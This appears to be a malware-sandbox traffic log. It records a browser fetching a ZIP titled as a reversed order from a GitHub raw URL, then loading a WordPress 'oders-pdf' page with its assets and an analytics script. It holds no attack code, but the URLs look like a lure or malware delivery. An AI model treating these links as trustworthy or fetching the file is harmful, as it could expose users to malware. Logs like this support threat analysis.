Source: global traffic	HTTP traffic detected: GET /donmodely2k/poczta.github.io/refs/heads/main/Reversed%20order%2024-25.zip HTTP/1.1Host: raw.githubusercontent.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /oders-pdf/ HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=6.0.2 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/astra/assets/css/minified/frontend.min.css?ver=3.7.9 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/astra/assets/css/minified/compatibility/site-origin.min.css?ver=3.7.9 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/css/dist/block-library/style.min.css?ver=6.0.2 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/wc-blocks-vendors-style.css?ver=6.7.3 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/wc-blocks-style.css?ver=6.7.3 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/siteorigin-panels/css/front-flex.min.css?ver=2.31.3 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=6.0.2 HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js-sdk-pro.min.js HTTP/1.1Host: sdk.51.laConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/astra/assets/css/minified/compatibility/woocommerce/woocommerce-layout.min.css?ver=3.7.9 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/astra/assets/css/minified/compatibility/woocommerce/woocommerce.min.css?ver=3.7.9 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/css/trp-floater-language-switcher.css?ver=2.8.7 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/css/trp-language-switcher.css?ver=2.8.7 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css?ver=5.15.0 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=3.6.8 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/elementor/css/post-3049.css?ver=1736408609 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor-pro/assets/css/frontend-lite.min.css?ver=3.7.3 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/elementor/css/post-5327.css?ver=1736509366 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/jquery.min.js?ver=3.6.0 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/js/trp-frontend-compatibility.js?ver=2.8.7 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js-sdk-pro.min.js HTTP/1.1Host: sdk.51.laConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/en_US.png HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2025/01/Captureddd.jpg HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2 HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/jquery.min.js?ver=3.6.0 HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor/assets/lib/animations/animations.min.css?ver=3.6.8 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/astra/assets/js/minified/frontend.min.js?ver=3.7.9 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js?ver=2.7.0-wc.6.2.2 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/js/trp-frontend-compatibility.js?ver=2.8.7 HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=6.2.2 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc.6.2.2 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/en_US.png HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2025/01/Captureddd.jpg HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=6.2.2 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=6.2.2 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
